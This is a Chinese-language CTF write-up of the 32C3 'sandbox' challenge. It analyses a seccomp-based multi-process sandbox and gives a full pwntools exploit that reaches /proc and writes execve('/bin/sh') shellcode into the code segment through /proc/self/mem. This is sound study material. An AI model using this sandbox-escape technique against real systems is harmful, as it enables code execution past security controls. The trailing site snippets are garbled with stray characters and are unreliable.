32c3 sandbox

Tags: /proc/self/mem,seccomp,shellcode

前言

做 seccomp 相關(guān)題目遇到的一個(gè)題目, 利用方式很有意思, 第一次見(jiàn): 通過(guò) 修改 /proc/self/mem 可以修改不可寫(xiě)的代碼段. 第一次見(jiàn), 記錄一下.

題目分析

邏輯有點(diǎn)復(fù)雜, 我可能表述的也不是太清楚, 僅供參考, 最好還是自己逆一下.

這個(gè)題目通過(guò) fork 和 clone 整出了三個(gè)進(jìn)程, 我們以 parent, sec, unsec 來(lái)表示它們.

進(jìn)程之間是通過(guò) 管道和 mmap 的內(nèi)存進(jìn)行通信的

  1. pipe 了三個(gè) 管道. 因?yàn)?pipe 會(huì)優(yōu)先使用最小的 fd, 所以pipe 得到的fd 是可以預(yù)測(cè)的. 三個(gè)進(jìn)程間使用的管道的 fd 的情況如下圖:
管道和線(xiàn)程之間的關(guān)系
  1. mmap 了兩塊內(nèi)存, 用 mmap1 mmap2 表示它們

    1. mmap1 的權(quán)限是 rwx,
    2. mmap2 在 sec 和 unsec 中是 只讀的, 在 parent 中是 rwx的
    3. mmap2 和 mmap1 相鄰 且 mmap2 在 mmap1 低地址處.

    pwndbg> vmmap
    ...
    0x7ffff7ff6000 0x7ffff7ff7000 r-xp 1000 0 // mmap2
    0x7ffff7ff7000 0x7ffff7ff8000 rwxp 1000 0 // mmap1
    ...

然后分析三個(gè)進(jìn)程各自的工作流程

  1. unsec

    首先設(shè)置 seccomp 為 strict 模式, 只能執(zhí)行 read(2), write(2), _exit(2) 這三個(gè)系統(tǒng)調(diào)用

    然后讀取并執(zhí)行 shellcode, shellcode 的長(zhǎng)度沒(méi)有限制.

    雖然通過(guò)shellcode 只能執(zhí)行 read, write, exit 三個(gè)系統(tǒng)調(diào)用, 但是可以通過(guò) parent 和 sec 執(zhí)行其它的一些系統(tǒng)調(diào)用:

    1. 將系統(tǒng)調(diào)用號(hào)和參數(shù)放到 mmap1 中, 然后 通過(guò)管道往 parent 端寫(xiě)一個(gè)字節(jié) (發(fā)送 "信號(hào)")
    2. 使用 sys_read 阻塞在 sec 和 unsec 的管道的read end, 等待 sec 執(zhí)行完 syscall 發(fā) "信號(hào)" 過(guò)來(lái)
    3. syscall 的返回值 存在 全局變量中
  2. parent

    阻塞在 read(3, buf, 1) 這個(gè)系統(tǒng)調(diào)用, 等待 unsec 發(fā)來(lái)"信號(hào)". read返回之后會(huì) 從 mmap1 讀取系統(tǒng)調(diào)用的參數(shù)等信息. parent 有一個(gè)白名單 (0x0401800), 遇到不在其中的系統(tǒng)調(diào)用會(huì)直接退出程序. open 和 chdir 雖然在白名單中, 但是 parent 還會(huì)校驗(yàn)他們的參數(shù)(0x0400D30): 路徑中不能包含dev, proc, sys.

    如果通過(guò)了校驗(yàn)就會(huì)把 mmap1 中的參數(shù) 復(fù)制到 mmap2 中, 然后通過(guò)管道往 sec 寫(xiě)一個(gè)字節(jié)

  3. sec

    sec 是完全由匯編編寫(xiě)的. 任務(wù)就是執(zhí)行 syscall

    阻塞在 read(3, buf, 1) 這個(gè)系統(tǒng)調(diào)用, 等待 parent 的 "信號(hào)", read 返回之后

    1. 會(huì)從 mmap2 讀取系統(tǒng)調(diào)用的參數(shù), 然后執(zhí)行系統(tǒng)調(diào)用,
    2. 將系統(tǒng)調(diào)用的返回結(jié)果寫(xiě)到 一個(gè)全局變量中
    3. 通過(guò)管道往 unsec 發(fā)送一個(gè) "信號(hào)"

程序提供了一個(gè) 供 unsec 進(jìn)行系統(tǒng)調(diào)用的函數(shù),可以在 shellcode 中使用

__int64 __fastcall unsec_do_syscall(int a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
  __int64 v7; // rax
  int parent; // edi
  __int64 result; // rax
  char v10; // [rsp+0h] [rbp-18h]

  v7 = g_mmap1_rwx;
  *(_QWORD *)(g_mmap1_rwx + 0x10) = a3;
  *(_DWORD *)v7 = a1;
  parent = unsec_to_parent;
  *(_QWORD *)(v7 + 8) = a2;
  *(_QWORD *)(v7 + 0x18) = a4;
  *(_QWORD *)(v7 + 0x30) = a7;
  *(_QWORD *)(v7 + 0x20) = a5;
  *(_QWORD *)(v7 + 0x28) = a6;
  v10 = 0;
  if ( write(parent, &v10, 1uLL) != 1 )
  {
    write(2, "unable to request syscall\n", 0x1AuLL);
    _exit(1);
  }
  if ( read(unsec_from_sec, &v10, 1uLL) != 1 )
  {
    write(2, "unable to wait for syscall completion\n", 0x26uLL);
    _exit(1);
  }
  if ( v10 )
    _exit(1);
  result = syscall_result;
  g_offset = 0LL;
  return result;
}

漏洞分析

漏洞在校驗(yàn) chdir 和 open 的參數(shù)的函數(shù)中

signed __int64 __fastcall open_chdir_cb(struct syscall_regs *a1)
{
  struct syscall_regs *v1; // rbx
  char *_path; // rax
  char *v3; // rdx
  signed __int64 v4; // rdi
  char v5; // cl
  char v7[4104]; // [rsp+0h] [rbp-1028h]
  unsigned __int64 v8; // [rsp+1008h] [rbp-20h]

  v1 = a1;
  v8 = __readfsqword(0x28u);
  _path = (char *)a1->_rdi;
  if ( (unsigned __int64)_path < g_mmap1_rwx )
    return 0LL;
  v3 = (char *)(g_mmap1_rwx + 0x1000);
  if ( (unsigned __int64)_path >= g_mmap1_rwx + 0x1000 )
    return 0LL;
  v7[0] = *_path;
  if ( v7[0] )                                  // copy to stack
  {
    v4 = v7 - _path;
    while ( v3 != ++_path )
    {
      v5 = *_path;
      _path[v4] = *_path;
      if ( !v5 )
        goto LABEL_7;
    }
    return 0LL;
  }
LABEL_7:
  if ( strstr(v7, "dev") )
    return 0LL;
  if ( strstr(v7, "proc") || strstr(v7, "sys") )
    return 0LL;
  strcpy((char *)g_mmap2_child_ro + 0x38, v7);  // overflow
  v1->_rdi = (unsigned __int64)g_mmap2_child_ro + 0x38;
  return 1LL;
}

可以看到一個(gè)明顯的溢出點(diǎn). 我們甚至不需要溢出.

假設(shè)我們進(jìn)行如下操作

  1. 構(gòu)造一個(gè) chdir 系統(tǒng)調(diào)用, rdi 指向 mmap1+0x30, 并將mmap1+0x30 至 mmap1+0x1000-8 中填充滿(mǎn)字符 "/", mmap1+0x1000-8 至 mmap1 + 0x1000 填充字符 "\x00"
  2. 然后 通過(guò)管道往 parent 發(fā)送 "信號(hào)". 顯然我們可以通過(guò)校驗(yàn), parent 會(huì)將參數(shù)復(fù)制到 mmap2 中, rdi 指向 mmap2 + 0x38, mmap2+0x38 至 mmap2+0x1000 之間都會(huì)填滿(mǎn) "/", 然后parent 會(huì)往 sec 發(fā)送 "信號(hào)" 讓 sec 執(zhí)行 syscall
  3. 我們?nèi)绻梢栽?sec 執(zhí)行 syscall 之前將 mmap1 地址處的字符串 修改為 proc\x00, 因?yàn)?mmap2 和 mmap1 是相鄰的, 所以sec中就會(huì)執(zhí)行 chdir("http:////////.......//////proc") 我們就可以 cd 到 /proc
  4. 然后我們就可以通過(guò)修改 /proc/self/mem 來(lái)修改 代碼段為 shellcode了.

而且我們甚至也不需要使用條件競(jìng)爭(zhēng).

我們通過(guò) pipe 新生成一個(gè)管道, 并使用 dup2 把 parent to sec 的管道 read end 給覆蓋掉. (這兩個(gè)系統(tǒng)調(diào)用都在白名單中) 我們就可以在 unsec 中給 sec 發(fā)送系統(tǒng)調(diào)用來(lái)隨時(shí)讓 sec 執(zhí)行系統(tǒng)調(diào)用了.

思路有了, 那就寫(xiě) exp 唄

寫(xiě) exp 過(guò)程中免不了調(diào)試的...... 這種多進(jìn)程+多線(xiàn)程調(diào)試還是有些麻煩的.

首先 attach 是不行的, attach的話(huà)只能調(diào)試 parent 這個(gè)進(jìn)程. 所以得直接用 gdb啟動(dòng), 不能用 process

io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400BE0")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)

線(xiàn)程之間切換倒是很方便, 直接用 thread 命令就行了.

exp

匯編寫(xiě)的頭禿.......

#coding:utf-8
from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# sc = open("./sc.asm", "r").read()
sc = """#define unsec_do_syscall 0x04010C0
#define bss 0x603000
#define fds 0x603200
#define g_buf 0x00603128
#define unsec_to_parent_w 4
#define unsec_to_sec_w 6
#define parent_to_sec_r_dup 233
#define sec_to_unsec_r 7
#define mmap1 0x603158
jmp start
get_addr:
    call get_addr2
get_addr2:
    mov rax, [rsp]
    sub rsp, 0x10
    jmp get_addr_ret

shellcode:
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    mov rsp, 0x603800
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall



start:
/* dup fd parent_to_sec_readend, so parent's write to pipe won't fail */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, 5 
mov rdx, parent_to_sec_r_dup
call r13

/* init a new pipe to be used by unsec to sec */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 22 /* sys_pipe */
mov rsi, fds
call r13
/* fds = {3, 6} */

/* dup new fd to old parent_to_sec_readend (5), then we can control sec to do syscall */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, fds
mov esi, [rsi] /* new fd read end */
mov rdx, 5  /* old parent_to_sec_readend fd */
call r13

/* chdir to /proc */
/* fill mmap1 with '/' first */
mov rax, 0x2f2f2f2f2f2f2f2f 
/* # define mmap1 0x603158 */
mov rdi, mmap1
mov rdi, [rdi]
mov rcx, (4096/8)
rep stosq
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi + 0x1000-8]
mov qword ptr [rdi], 0  /* terminat with \x00 vali vali important !!!*/

/* now signal parent to copy args */
call clear_regs
mov eax, 80 /* sys_chdir */
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi+0x30]
mov r9, 0x2f2f2f2f2f2f2f2f
call new_do_syscall_p1

/* append tail and signal sec thread to do syscall */
mov r11, [mmap1]
mov qword ptr [r11], 0x636f7270 /* \x00\x00\x00\x00proc */
call new_do_syscall_p2
/*rax = 0 should means that now we are in /proc */

/* open(file='self/mem', oflag=2, mode=0) */
/* push 'self/mem\x00' */
mov rdi, [mmap1]
mov rsi, 0x6d656d2f666c6573
mov [rdi+0x38],  rsi
xor rsi, rsi
mov [rdi+0x40], rsi
lea rdi, [rdi+0x38]
xor edx, edx /* 0 */
mov rsi, 2 /* O_RDWR */
/* call open() */
mov rax,  2 /* SYS_open */
call new_do_syscall

#define fd_of_proc_self_mem_addr  bss + 0x400
mov rdi, fd_of_proc_self_mem_addr
mov [rdi], rax

#define sec_block_read 0x0000000000401637
/* lseek(fd='rax', offset=sec_block_read, whence='SEEK_SET') */
mov rdi, rax
mov esi, sec_block_read
xor edx, edx /* SEEK_SET */
/* call lseek() */
mov rax,  8 /* SYS_lseek */
call new_do_syscall

/* get shellcode addr */

call get_addr
get_addr_ret:  /*0x7ffff7ff5180 */
/* now rax is get_addr2's addr */
add rax, 0x10 /*0x7ffff7ff5185 */

mov rdi, fd_of_proc_self_mem_addr
mov rdi, [rdi]
mov rsi, rax
mov rdx, 0x80
mov rax, 1
call new_do_syscall



/* after pipe() and dup(),  we are unable to use unsec_do_syscall function,
    so we neeed to implement our own do syscall funtion */
#define syscall_result_addr 0x603138
new_do_syscall:
    call new_do_syscall_p1
    call new_do_syscall_p2
    ret

/*  1. put args to  mmap1 
    2. signal parent to copy args
    3. wait parent's copy done */
new_do_syscall_p1:
    /* mov args to mmap1 */
    mov r11, mmap1
    mov r11, [r11]
    mov [r11], rax
    mov [r11+8], rdi
    mov [r11+0x10], rsi
    mov [r11+0x18], rdx
    mov [r11+0x20], r10
    mov [r11+0x28], r8
    mov [r11+0x30], r9

    /* use pip to signal parent */
    mov rdi, unsec_to_parent_w
    mov rsi, g_buf /* buf, readable */ 
    mov rdx, 1 /* n */
    mov eax, 1 /* write */
    syscall
    /* then parent should copy args to mmap2m, we should wait the signal on the dup fd*/
    mov rdi, parent_to_sec_r_dup
    mov rsi, g_buf 
    mov rdx, 1
    mov eax, 0 /* sys_read */
    syscall
    ret

/*  1. signal sec thread to do syscall
    2. wait sec thread syscall done
    3. mov syscall result to rax and return */
new_do_syscall_p2:
    /* then we need to use pipe to signal thread_sec to do syscall */
    mov rdi, unsec_to_sec_w
    mov rsi, g_buf /* buf, readable */ 
    mov rdx, 1 /* n */
    mov eax, 1 /* write */
    syscall

    /* then wait on the pipe. sec will signal unsec when syscall is done */
    mov rdi, sec_to_unsec_r
    mov rsi, g_buf 
    mov rdx, 1
    mov eax, 0 /* sys_read */
    syscall

    /* afterall, mov syscall result to rax */
    mov rax, [syscall_result_addr]
    ret

clear_regs:
    xor rdi, rdi
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    xor r8, r8
    xor r9, r9
    ret
"""
# io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400c2d\nb *0x400D30")
io = process("./sandbox")

io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
io.interactive()

總結(jié)

竟然還有通過(guò)寫(xiě) /proc/self/mem 來(lái)修改代碼段的這種騷操作. 第一次見(jiàn), 學(xué)習(xí)了.

Appendix A : 參考

[1] http://tukan.farm/2016/01/13/32C3-CTF-sandbox-writeup/

[2] https://www.cnblogs.com/xuxm2007/archive/2011/04/01/2002162.html

[3] https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/sandbox-300

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子谦铃,更是在濱河造成了極大的恐慌鞍帝,老刑警劉巖移稳,帶你破解...
    沈念sama閱讀 206,214評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件韵丑,死亡現(xiàn)場(chǎng)離奇詭異侯谁,居然都是意外死亡消略,警方通過(guò)查閱死者的電腦和手機(jī)堡称,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,307評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)疑俭,“玉大人粮呢,你說(shuō)我怎么就攤上這事〕В” “怎么了啄寡?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,543評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)哩照。 經(jīng)常有香客問(wèn)我挺物,道長(zhǎng),這世上最難降的妖魔是什么飘弧? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,221評(píng)論 1 279
  • 正文 為了忘掉前任识藤,我火速辦了婚禮,結(jié)果婚禮上次伶,老公的妹妹穿的比我還像新娘痴昧。我一直安慰自己,他們只是感情好冠王,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,224評(píng)論 5 371
  • 文/花漫 我一把揭開(kāi)白布赶撰。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪豪娜。 梳的紋絲不亂的頭發(fā)上餐胀,一...
    開(kāi)封第一講書(shū)人閱讀 49,007評(píng)論 1 284
  • 那天,我揣著相機(jī)與錄音瘤载,去河邊找鬼否灾。 笑死哑梳,一個(gè)胖子當(dāng)著我的面吹牛迎捺,可吹牛的內(nèi)容都是我干的揍堰。 我是一名探鬼主播次乓,決...
    沈念sama閱讀 38,313評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼货岭,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼姊扔!你這毒婦竟也來(lái)了疏橄?” 一聲冷哼從身側(cè)響起侧到,我...
    開(kāi)封第一講書(shū)人閱讀 36,956評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤伟叛,失蹤者是張志新(化名)和其女友劉穎私痹,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體统刮,經(jīng)...
    沈念sama閱讀 43,441評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡紊遵,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,925評(píng)論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了侥蒙。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片暗膜。...
    茶點(diǎn)故事閱讀 38,018評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖鞭衩,靈堂內(nèi)的尸體忽然破棺而出学搜,到底是詐尸還是另有隱情,我是刑警寧澤论衍,帶...
    沈念sama閱讀 33,685評(píng)論 4 322
  • 正文 年R本政府宣布瑞佩,位于F島的核電站,受9級(jí)特大地震影響坯台,放射性物質(zhì)發(fā)生泄漏炬丸。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,234評(píng)論 3 307
  • 文/蒙蒙 一蜒蕾、第九天 我趴在偏房一處隱蔽的房頂上張望稠炬。 院中可真熱鬧,春花似錦咪啡、人聲如沸首启。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,240評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)毅桃。三九已至栽惶,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間疾嗅,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,464評(píng)論 1 261
  • 我被黑心中介騙來(lái)泰國(guó)打工冕象, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留代承,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,467評(píng)論 2 352
  • 正文 我出身青樓渐扮,卻偏偏與公主長(zhǎng)得像论悴,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子墓律,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,762評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • 一膀估、Python簡(jiǎn)介和環(huán)境搭建以及pip的安裝 4課時(shí)實(shí)驗(yàn)課主要內(nèi)容 【Python簡(jiǎn)介】: Python 是一個(gè)...
    _小老虎_閱讀 5,720評(píng)論 0 10
  • 問(wèn)題概述 前段時(shí)間在對(duì)系統(tǒng)進(jìn)行性能測(cè)試的時(shí)候,我們遇到了一個(gè)SPECjvm2008的問(wèn)題耻讽。先介紹下察纯,SPECjvm...
    raphaelzhang閱讀 4,772評(píng)論 2 2
  • 必備的理論基礎(chǔ) 1.操作系統(tǒng)作用: 隱藏丑陋復(fù)雜的硬件接口,提供良好的抽象接口针肥。 管理調(diào)度進(jìn)程饼记,并將多個(gè)進(jìn)程對(duì)硬件...
    drfung閱讀 3,525評(píng)論 0 5
  • 愛(ài)要說(shuō)出來(lái)具帮,不然怎么會(huì)知道博肋。 溝通要說(shuō)出來(lái),不然永遠(yuǎn)是個(gè)結(jié)蜂厅。 不知道是否會(huì)混混沌沌的過(guò)完這輩子匪凡,到最后都沒(méi)有好好溝...
    寂然的莫迪閱讀 354評(píng)論 0 1
  • 選自《墨子·修身》术奖。簡(jiǎn):簡(jiǎn)單礁遵,輕易。巧:取巧采记、弄巧佣耐,欺詐偽裝∵罅洌【譯文】名聲不會(huì)輕易簡(jiǎn)單地得到兼砖,榮譽(yù)也不能靠欺詐偽裝...
    多亦空閱讀 2,628評(píng)論 41 40